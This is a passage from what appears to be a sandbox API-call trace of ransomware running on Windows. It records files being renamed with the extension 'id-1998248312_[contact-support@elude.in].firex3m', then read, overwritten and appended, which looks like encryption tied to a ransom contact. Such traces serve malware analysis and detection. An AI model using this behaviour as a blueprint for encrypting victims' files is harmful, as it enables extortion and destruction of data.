returned 1 [0093.842] GetProcessHeap () returned 0x630000 [0093.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.842] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.842] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde28895, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9ec7496, dwReserved1=0x6a3be8, cFileName="Rotate8.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~1.FIR")) returned 0x6d51c0 [0093.842] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.842] Sleep (dwMilliseconds=0x1) [0093.862] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", len=0x2a | out: pbstr=0x6c3ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 1 [0093.862] GetProcessHeap () returned 0x630000 [0093.862] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678d40, Size=0x44) returned 0x679240 [0093.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.862] CloseHandle (hObject=0x694) returned 1 [0093.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.862] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.869] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.869] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO8763~1.FIR")) returned 0x6d5000 [0093.869] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0093.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.869] GetProcessHeap () returned 0x630000 [0093.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.869] GetProcessHeap () returned 0x630000 [0093.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.869] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.870] ReadFile (in: hFile=0x694, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.875] GetProcessHeap () returned 0x630000 [0093.875] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.875] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.875] WriteFile (in: hFile=0x694, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.876] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.876] WriteFile (in: hFile=0x694, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.876] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.876] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.876] CloseHandle (hObject=0x694) returned 1 [0093.877] GetProcessHeap () returned 0x630000 [0093.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.877] GetProcessHeap () returned 0x630000 [0093.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.877] GetProcessHeap () returned 0x630000 [0093.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.877] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde74d6c, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9ec7496, dwReserved1=0x6a3be8, cFileName="Rotate4.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO8763~1.FIR")) returned 0x6d4e40 [0093.878] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0093.878] Sleep (dwMilliseconds=0x1) [0093.886] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", len=0x2a | out: pbstr=0x6c3ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 1 [0093.886] GetProcessHeap () returned 0x630000 [0093.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ac28, Size=0x3c) returned 0x69b408 [0093.887] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.887] CloseHandle (hObject=0x688) returned 1 [0093.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.887] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.888] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROF6AB~1.FIR")) returned 0x6d5200 [0093.888] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0093.888] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.888] GetProcessHeap () returned 0x630000 [0093.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.888] GetProcessHeap () returned 0x630000 [0093.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.888] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.888] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.893] GetProcessHeap () returned 0x630000 [0093.893] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.893] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.893] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.893] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.893] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.893] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.893] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.893] CloseHandle (hObject=0x688) returned 1 [0093.894] GetProcessHeap () returned 0x630000 [0093.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.894] GetProcessHeap () returned 0x630000 [0093.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.894] GetProcessHeap () returned 0x630000 [0093.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde9af99, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9ec7496, dwReserved1=0x6a3be8, cFileName="Rotate2.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROF6AB~1.FIR")) returned 0x6d4ec0 [0093.895] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0093.895] Sleep (dwMilliseconds=0x1) [0093.901] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", len=0x2a | out: pbstr=0x6c3ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 1 [0093.901] GetProcessHeap () returned 0x630000 [0093.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b408, Size=0x38) returned 0x6d5340 [0093.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.902] CloseHandle (hObject=0x688) returned 1 [0093.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.902] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.903] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO6E71~1.FIR")) returned 0x6d5480 [0093.903] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0093.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.903] GetProcessHeap () returned 0x630000 [0093.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.903] GetProcessHeap () returned 0x630000 [0093.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.903] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.903] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.933] GetProcessHeap () returned 0x630000 [0093.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0093.934] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.934] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.934] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.934] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.934] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.934] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.934] CloseHandle (hObject=0x688) returned 1 [0093.935] GetProcessHeap () returned 0x630000 [0093.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.935] GetProcessHeap () returned 0x630000 [0093.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.935] GetProcessHeap () returned 0x630000 [0093.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0093.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfdf0d73a, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9ec7496, dwReserved1=0x6a3be8, cFileName="Rotate1.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO6E71~1.FIR")) returned 0x6d5080 [0093.935] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0093.936] Sleep (dwMilliseconds=0x1) [0095.966] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Boot\\BCD.LOG1", len=0x10 | out: pbstr=0x6c3ff7c*="C:\\Boot\\BCD.LOG1") returned 1 [0095.966] GetProcessHeap () returned 0x630000 [0095.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c1e8, Size=0x28) returned 0x699a98 [0095.966] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0100.433] CloseHandle (hObject=0x6d4) returned 1 [0100.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0100.433] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bcd.log1.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0101.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.619] FindFirstFileW (in: lpFileName="C:\\Boot\\BCD.LOG1.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BCDLOG~1.FIR")) returned 0x6d5280 [0101.619] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0101.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef0c, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m3m") returned 48 [0101.620] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bcd.log1.id-1998248312_[contact-support@elude.in].firex3m"), lpNewFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1")) returned 1 [0101.622] Sleep (dwMilliseconds=0x1) [0102.220] Sleep (dwMilliseconds=0x1) [0102.402] Sleep (dwMilliseconds=0x1) [0102.564] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Boot\\pl-PL\\memtest.exe.mui", len=0x1d | out: pbstr=0x6c3ff7c*="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 1 [0102.567] GetProcessHeap () returned 0x630000 [0102.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0102.569] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.569] Sleep (dwMilliseconds=0x1) [0102.812] Sleep (dwMilliseconds=0x1) [0102.988] Sleep (dwMilliseconds=0x1) [0103.186] Sleep (dwMilliseconds=0x1) [0103.300] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.874] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", len=0x3b | out: pbstr=0x6c3ff7c*="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 1 [0104.874] GetProcessHeap () returned 0x630000 [0104.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x14) returned 0x6b02b8 [0104.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0104.902] CloseHandle (hObject=0x678) returned 1 [0104.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.902] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: 